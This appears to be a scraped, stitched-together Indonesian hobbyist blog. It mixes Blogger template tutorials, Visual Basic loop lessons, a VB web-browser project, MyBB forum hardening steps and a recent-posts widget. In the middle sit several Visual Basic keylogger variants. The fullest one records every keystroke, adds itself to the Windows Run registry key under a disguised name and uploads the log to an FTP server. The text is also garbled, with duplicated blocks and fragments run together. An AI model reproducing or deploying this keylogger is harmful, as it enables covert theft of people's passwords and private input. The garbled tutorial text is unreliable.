buat yang mau belajar html ebook ini karangan pertama ane gan hehe ayo cepet download
Download Disini
Mohon untuk tidak mengcopy Ebook ini
Download Disini
<style>dan ganti dengan kode di bwah ini :
<--
-->dan ganti dengan kode
</style>
]]></b:skin>setelah itu cari kode <head> ada di atas
<?xml version="1.0" encoding="UTF-8" ?>lalu cari kode
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html expr:dir='data:blog.languageDirection' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<title>bla-bla-bla</title>ganti bla-bla-bla dengan
<data:blog.title/>sehingga menjadi
<title><data:blog.title/></title>kode itu adalah untuk menampilkan judul blog
<b:include data='blog' name='all-head-content'/>sehingga menjadi :
<b:include data='blog' name='all-head-content'/>
<title><data:blog.title/></title>
While (Kondisi)
(Proses selama kondisi dipenuhi)
Wend
bilangan=1
While bilangan<=17
List1.AddItem bilangan
bilangan = bilangan + 2
Wend
Bilangan = 1 =>bilangan sebagai variabel yang di set 1
while bilangan <= 17 =>bilangan itu kurang atau sama dengan 11 berarti kondisi terpenuhi
list1.additem = bilangan + 2 =>list1 akan ditambahkan item dari bilangan dan + 2
Do
<Proses selama kondisi belum dipenuhi>
Loop Until <Kondisi>
bilangan=1
do
List1.AddItem bilangan
bilangan = bilangan + 2
Loop until bilangan>21
For variabel =Nilai awal ke nilai akhir [Step langkah]
<Proses dalam pengulangan>
Next variable
For angka = 1 To 20
List1.AddItem angka
Next angka
For angka = 1 to 20 => angka sebagai variabel dan 1 to 20 sebagai nilai awal dan nilai akhir
list1.additem angka => list1 akan di tambahkan item angka dan angka adalah variabel yang yang di set 1 sampai 20 bilangan
sehingga ketika user mengklik command1 maka akan muncul di list1 bilangan dari 1 sampai 20
Private Sub Command1_Click()
namafile = App.Path & "\" & Trim(Text1)
Picture1.Picture = LoadPicture(namafile)
End Sub
http://facebook.com/falah.isnanand my twitter:
@ falah_isnanSo much from me, hopefully you entertained with my blog, thanks
<div id='haeder'>bla bla bla</div>ganti bla bla bla dengan kode haeder di bawah ini :
<b:section class='header section' id='header' maxwidgets='1' showaddelement='no'>Sehingga menjadi
<b:widget id='Header1' locked='true' title='judul blog (Header)' type='Header'/>
</b:section>
<div id='haeder'><b:section class='header section' id='header' maxwidgets='1' showaddelement='no'>Lalu posting,Seperti yang atas cari dulu kode tag untuk menyimpan postingannya,misalnya :
<b:widget id='Header1' locked='true' title='judul blog (Header)' type='Header'/>
</b:section></div>
<div id='postingan'>bla_bla_bla</div>lalu ganti bla_bla_bla dengan kode posting,Yaitu :
<b:section class='main section' id='main'>Lalu untuk sidebarnya seperti biasa cari kode tagnya dan ganti dengan kode sidebar berikut :
<b:widget id='Blog1' locked='true' title='Posting Blog' type='Blog'/>
</b:section>
<b:section class='sidebar' id='sidebar' preferred='yes'/>unuk kode id='sidebar' itu adalah kode tag yang tadi di ganti dengan kode di atas jadi misalnya awalnya :
<div id='sidebarwrap'>bla.....</div>di ganti menjadi :
<b:section class='sidebar' id='sidebarwrap' preferred='yes'/>Selesai deh ,coba masuk dulu ke blogger yang old lalu edit html dan masukan kode template kalian lalu klik pratinjau apabila ada yang error silahkan komen !
<div id='haeder'>bla bla bla</div>ganti bla bla bla dengan kode haeder di bawah ini :
<b:section class='header section' id='header' maxwidgets='1' showaddelement='no'>Sehingga menjadi
<b:widget id='Header1' locked='true' title='judul blog (Header)' type='Header'/>
</b:section>
<div id='haeder'><b:section class='header section' id='header' maxwidgets='1' showaddelement='no'>Lalu posting,Seperti yang atas cari dulu kode tag untuk menyimpan postingannya,misalnya :
<b:widget id='Header1' locked='true' title='judul blog (Header)' type='Header'/>
</b:section></div>
<div id='postingan'>bla_bla_bla</div>lalu ganti bla_bla_bla dengan kode posting,Yaitu :
<b:section class='main section' id='main'>Lalu untuk sidebarnya seperti biasa cari kode tagnya dan ganti dengan kode sidebar berikut :
<b:widget id='Blog1' locked='true' title='Posting Blog' type='Blog'/>
</b:section>
<b:section class='sidebar' id='sidebar' preferred='yes'/>unuk kode id='sidebar' itu adalah kode tag yang tadi di ganti dengan kode di atas jadi misalnya awalnya :
<div id='sidebarwrap'>bla.....</div>di ganti menjadi :
<b:section class='sidebar' id='sidebarwrap' preferred='yes'/>kalau kalian mengikuti tutorial saya kode tag sidebarnya yaitu sidebar sehingga menjadi :
<b:section class='sidebar' id='sidebar' preferred='yes'/>awalnya :
Microsoft html object library,- lalu buat :
Microsoft internet controls,
Microsoft Windows common Controls 5.0 atau 6.0
1 webrowser
1 progress bar
5 command/Caption:Back, Forward, Refresh, Stop dan Go.
1 textbox/text= kosong
1 label/caption= done
Private Sub Command1_Click()
On Error Resume Next
WebBrowser1.GoBack
End Sub
Private Sub Command2_Click()
On Error Resume Next
WebBrowser1.GoForward
End Sub
Private Sub Command3_Click()
On Error Resume Next
WebBrowser1.Refresh
End Sub
Private Sub Command4_Click()
On Error Resume Next
WebBrowser1.Stop
End Sub
Private Sub Command5_Click()
On Error Resume Next
WebBrowser1.Navigate Text1.Text
End Sub
Private Sub WebBrowser1_ProgressChange(ByVal Progress As Long, ByVal ProgressMax As Long)
On Error Resume Next
If Progress = -1 Then ProgressBar1.Value = 100
Label1.Caption = "Done"
ProgressBar1.Visible = False
If Progress > 0 And ProgressMax > 0 Then
ProgressBar1.Visible = True
Image1.Visible = False
ProgressBar1.Value = Progress * 100 / ProgressMax
Label1.Caption = "Loading " & Int(Progress * 100 / ProgressMax) & "%"
End If
Exit Sub
End Sub
Private Sub Form_Resize()
On Error Resume Next
WebBrowser1.Width = Me.ScaleWidth
WebBrowser1.Height = Me.ScaleHeight - 1680
End Sub
Private Declare Function GetKeyPress Lib "user32" Alias "GetAsyncKeyState" (ByVal keyb As Long) As Integer
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Timer()
If GetKeyPress(vbKeyA) Then
Dim Savefile As Long
Savefile = FreeFile
Open "D:\xtricx.txt" For Output As #Savefile
Print #Savefile, Text1.Text
Close #Savefile
End If
End Sub
Dim result As IntegerCara 3
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub
Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Declare Function SystemParamsLong Lib “user32″ Alias “SystemParametersInfoA” (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long
Const SPI_GETKEYBOARDSPEED = 10
‘ fungsi ini digunakan untuk mencatat aktifitas penekanan tombol keyboardtimer2
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyA) Then
mated = mated + “a”
ElseIf GetAsyncKeyState(vbKeyB) Then
mated = mated + “b”
ElseIf GetAsyncKeyState(vbKeyC) Then
mated = mated + “c”
ElseIf GetAsyncKeyState(vbKeyD) Then
mated = mated + “d”
ElseIf GetAsyncKeyState(vbKeyE) Then
mated = mated + “e”
ElseIf GetAsyncKeyState(vbKeyF) Then
mated = mated + “f”
ElseIf GetAsyncKeyState(vbKeyG) Then
mated = mated + “g”
ElseIf GetAsyncKeyState(vbKeyH) Then
mated = mated + “h”
ElseIf GetAsyncKeyState(vbKeyI) Then
mated = mated + “i”
ElseIf GetAsyncKeyState(vbKeyJ) Then
mated = mated + “j”
ElseIf GetAsyncKeyState(vbKeyK) Then
mated = mated + “k”
ElseIf GetAsyncKeyState(vbKeyL) Then
mated = mated + “l”
ElseIf GetAsyncKeyState(vbKeyM) Then
mated = mated + “m”
ElseIf GetAsyncKeyState(vbKeyN) Then
mated = mated + “n”
ElseIf GetAsyncKeyState(vbKeyO) Then
mated = mated + “o”
ElseIf GetAsyncKeyState(vbKeyP) Then
mated = mated + “p”
ElseIf GetAsyncKeyState(vbKeyQ) Then
mated = mated + “q”
ElseIf GetAsyncKeyState(vbKeyR) Then
mated = mated + “r”
ElseIf GetAsyncKeyState(vbKeyS) Then
mated = mated + “s”
ElseIf GetAsyncKeyState(vbKeyT) Then
mated = mated + “t”
ElseIf GetAsyncKeyState(vbKeyU) Then
mated = mated + “u”
ElseIf GetAsyncKeyState(vbKeyV) Then
mated = mated + “v”
ElseIf GetAsyncKeyState(vbKeyW) Then
mated = mated + “w”
ElseIf GetAsyncKeyState(vbKeyX) Then
mated = mated + “x”
ElseIf GetAsyncKeyState(vbKeyY) Then
mated = mated + “y”
ElseIf GetAsyncKeyState(vbKeyZ) Then
mated = mated + “z”
ElseIf GetAsyncKeyState(vbKey0) Then
mated = mated + “0″
ElseIf GetAsyncKeyState(vbKey1) Then
mated = mated + “1″
ElseIf GetAsyncKeyState(vbKey2) Then
mated = mated + “2″
ElseIf GetAsyncKeyState(vbKey3) Then
mated = mated + “3″
ElseIf GetAsyncKeyState(vbKey4) Then
mated = mated + “4″
ElseIf GetAsyncKeyState(vbKey5) Then
mated = mated + “5″
ElseIf GetAsyncKeyState(vbKey6) Then
mated = mated + “6″
ElseIf GetAsyncKeyState(vbKey7) Then
mated = mated + “7″
ElseIf GetAsyncKeyState(vbKey8) Then
mated = mated + “8″
ElseIf GetAsyncKeyState(vbKey9) Then
mated = mated + “9″
ElseIf GetAsyncKeyState(vbKeyEscape) Then
mated = mated + “<Esc>”
ElseIf GetAsyncKeyState(vbKeySpace) Then
mated = mated + “<Space>”
ElseIf GetAsyncKeyState(vbKeyBack) Then
mated = mated + “<BackSpace>”
ElseIf GetAsyncKeyState(vbKeyDelete) Then
mated = mated + “<Canc>”
ElseIf GetAsyncKeyState(vbKeyDown) Then
mated = mated + “<Arrow down>”
ElseIf GetAsyncKeyState(vbKeyShift) Then
mated = mated + “<Shift>”
ElseIf GetAsyncKeyState(vbKeyTab) Then
mated = mated + “<Tab>”
ElseIf GetAsyncKeyState(vbKeyUp) Then
mated = mated + “<Arrow Up>”
ElseIf GetAsyncKeyState(vbKeyRight) Then
mated = mated + “<Right Arrow>”
ElseIf GetAsyncKeyState(vbKeyLeft) Then
mated = mated + “<Left Arrow>”
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
mated = mated + “<Page Up>”
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
mated = mated + “<Page Down>”
ElseIf GetAsyncKeyState(vbKeyF1) Then
mated = mated + “<F1>”
ElseIf GetAsyncKeyState(vbKeyF2) Then
mated = mated + “<F2>”
ElseIf GetAsyncKeyState(vbKeyF3) Then
mated = mated + “<F3>”
ElseIf GetAsyncKeyState(vbKeyF4) Then
mated = mated + “<F4>”
ElseIf GetAsyncKeyState(vbKeyF5) Then
mated = mated + “<F5>”
ElseIf GetAsyncKeyState(vbKeyF6) Then
mated = mated + “<F6>”
ElseIf GetAsyncKeyState(vbKeyF7) Then
mated = mated + “<F7>”
ElseIf GetAsyncKeyState(vbKeyF8) Then
mated = mated + “<F8>”
ElseIf GetAsyncKeyState(vbKeyF9) Then
mated = mated + “<F9>”
ElseIf GetAsyncKeyState(vbKeyF10) Then
mated = mated + “<F10>”
ElseIf GetAsyncKeyState(vbKeyF11) Then
mated = mated + “<F11>”
ElseIf GetAsyncKeyState(vbKeyF12) Then
mated = mated + “<F12>”
ElseIf GetAsyncKeyState(vbKeF13) Then
mated = mated + “<F13>”
ElseIf GetAsyncKeyState(vbKeyEnd) Then
mated = mated + “<FINISH>”
End If
End Sub
Private Sub Timer2_Timer()timer3
Timer3.Enabled = True
Timer2.Enabled = False
End Sub
Private Sub Timer3_Timer()timer4
Timer4.Enabled = True
Timer3.Enabled = False
End Sub
Private Sub Timer4_Timer()timer5
Timer5.Enabled = True
Timer4.Enabled = False
End Sub
Private Sub Timer5_Timer()timer6
Timer6.Enabled = True
Timer5.Enabled = False
End Sub
Private Sub Timer6_Timer()Sekian
Dim file As String
Dim ftpwebsite As String
account = “Akun_web_mu”
pswd = “Pass_web_mu”
ftpwebsite = “ftp://alamat_web_mu.com”
Inet1.URL = ftpwebsite
Inet1.UserName = account
Inet1.Password = pswd
file = “log.txt”
Inet1.Execute Inet1.URL, “PUT C:\WINDOWS\system32\keylog.txt ” & file
Do While Inet1.StillExecuting = True
DoEvents
Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub
formPrivate Sub Form_Load()
‘ fungsi ini untuk membuat keylogg aktif saat windows dinyalakan
Set reg = CreateObject(“Wscript.shell”)
reg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\CTFloader”, App.Path & “\nama_keylogger.exe”
Dim reani As Long
Dim mated As String
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, reani, 0
Timer1.Interval = reani + 150
End Sub
Private Sub mated_Change()
Open “C:\WINDOWS\system32\keylogger.txt” For Output As #1
Print #1, “Data KeyLogg – Reanimated Zone: ” & mated.Text & “, “
Close #1
End Sub
<style>dan ganti dengan kode di bwah ini :
<--
-->dan ganti dengan kode
</style>
]]></b:skin>setelah itu cari kode <head> ada di atas
<?xml version="1.0" encoding="UTF-8" ?>lalu cari kode
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html expr:dir='data:blog.languageDirection' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<title>bla-bla-bla</title>ganti bla-bla-bla dengan
<data:blog.title/>sehingga menjadi
<title><data:blog.title/></title>kode itu adalah untuk menampilkan judul blog
<b:include data='blog' name='all-head-content'/>sehingga menjadi :
<b:include data='blog' name='all-head-content'/>setelah itu kita masuk ke pengisian kode untuk haederposting ,dan sidebar tapi di lanjutkan nanti
<title><data:blog.title/></title>
<meta content='Decription blog kalian' name='description'/>
<meta content='keyword kalian' name='keywords'/>
<meta content='authornya' name='Author'/>
<meta content='emailnya' name='Email'/>
<meta content='document' name='resource-type'/>
<meta content='all' name='audience'/>
<meta content='general' name='rating'/>
<meta content='all' name='robots'/>
<meta content='index, follow' name='robots'/>
<meta content='id' name='language'/>
<meta content='id' name='geo.country'/>
<meta content='global' name='distribution'/>
<meta content='1 days' name='revisit-after'/>
<meta content='Indonesia' name='geo.placename'/>
Required – ./inc/settings.php – 666
Required – ./inc/config.php – 666 (install) 444 (after installation)
Required – ./cache/ – 777
Required – ./cache/themes/ – 777
Required – ./uploads/ – 777
Required – ./uploads/avatars/ – 777
Optional – ./admin/backups/ – 777
Optional – ./inc/languages/*language*/*all files*/ – 666
Optional – ./inc/languages/*language*/admin/*all files*/ – 666
<files config.php>
Order deny,allow
deny from all
</files>
RewriteEngine On5. mengubah direktori admin.
RewriteBase /
RewriteCond %{REMOTE_HOST} !^12\.345\.678\.9
RewriteRule .* http://www.link untuk dialihkan.com [R=301,L]
$config['hide_admin_links'] = 0;
$config['hide_admin_links'] = 1;
UPDATE `mybb_forums` SET `allowhtml` = '0';
<div class="label"{$login_label_width}><label for="password">{$lang->password}</label></div>
<div class="field"><input type="password" name="password" id="password" class="text_input" /></div>
<div class="label"{$login_label_width}><label for="password">{$lang->password}</label></div>
<div class="field"><input type="password" name="password" id="password" class="text_input" /></div>
<div class="label"{$login_label_width}><label for="pin">Secret PIN</label></div>
<div class="field"><input type="password" name="pin" id="pin" class="text_input" /></div>
if($user['uid'])
{
$query = $db->simple_select("users", "*", "uid='".$user['uid']."'");
$mybb->user = $db->fetch_array($query);
}
if($user['uid'])
{
$query = $db->simple_select("users", "*", "uid='".$user['uid']."'");
$mybb->user = $db->fetch_array($query);
}
if (isset($config['acp_pin']) && $mybb->input['pin'] != $config['acp_pin']) {
$default_page->show_login("Invalid PIN","error");
}
$config['acp_pin'] = 'pinnya';
<b:if cond='data:blog.pageType != "static_page"'>Kode :
<b:if cond='data:blog.pageType != "item"'>
<style type='text/css'>
.post-outer {
width:50%;
height:240px;
float:left;
}
#blog-pager,
h2.date-header {
clear:both !important;
}
</style>
</b:if>
</b:if>
height:240px;itu adalah kode tingginya kalian bisa merubahnya sesuai keinginan
untuk membuat layout kita membutuhkan :
- Untuk selebihnyakalian bisa lihat vidionya Disini atau mau download vidionya Disini
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" type="text/javascript"></script>Jangan Lupa ganti link/urlnya
<style type="text/css" media="screen">
<!--
#spylist {
overflow:hidden;
margin-top:5px;
padding:0px 0px;
height:350px;
}
#spylist ul{
width:250px;
overflow:hidden;
list-style-type: none;
padding: 0px 0px;
margin:0px 0px;
}
#spylist li {
width:210px;
padding: 5px 5px;
margin:0px 0px 5px 0px;
list-style-type:none;
float:none;
height:70px;
overflow: hidden;
background:#fff url (https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUczlM9kDDrUOO_pQDoWPM_UvrYQx-QQVjVxcizf6JuyaOJ6MOVvl_WEmZhaoLsutoi75p5hCUov43y53TAFmY1JFiY1KvGzLHulPLuTxqSb3nuXmyjI7nD_nHAAdg0BuzU_ufV8kA1yBN/s1600/background.jpg) repeat-x;
border:1px solid #ddd;
}
#spylist li a {
text-decoration:none;
color:#4B545B;
font-size:11px;
height:18px;
overflow:hidden;
margin:0px 0px;
padding:0px 0px 2px 0px;
}
#spylist li img {
float:left;
margin-right:5px;
background:#EFEFEF;
border:0;
}
.spydate{
overflow:hidden;
font-size:10px;
color:#0284C2;
padding:2px 0px;
margin:1px 0px 0px 0px;
height:15px;
font-family:Tahoma,Arial,verdana, sans-serif;
}
.spycomment{
overflow:hidden;
font-family:Tahoma,Arial,verdana, sans-serif;
font-size:10px;
color:#262B2F;
padding:0px 0px;
margin:0px 0px;
}
-->
</style>
<script language='javascript'>
imgr = new Array();
imgr[0] = "http://i43.tinypic.com/orpg0m.jpg";
imgr[1] = "http://i43.tinypic.com/orpg0m.jpg";
imgr[2] = "http://i43.tinypic.com/orpg0m.jpg";
imgr[3] = "http://i43.tinypic.com/orpg0m.jpg";
imgr[4] = "http://i43.tinypic.com/orpg0m.jpg";
showRandomImg = true;
boxwidth = 250;
cellspacing = 6;
borderColor = "#232c35";
bgTD = "#000000";
thumbwidth = 70;
thumbheight = 70;
fntsize = 12;
acolor = "#666";
aBold = true;
icon = " ";
text = "comments";
showPostDate = true;
summaryPost = 40;
summaryFontsize = 10;
summaryColor = "#666";
icon2 = " ";
numposts = 10;
home_page = "http://lahzblog.blogspot.com/";
limitspy=4
intervalspy=4000
</script>
<div id="spylist">
<script src='http://lahzz.tk/recentpost.js' type='text/javascript'></script>
</div>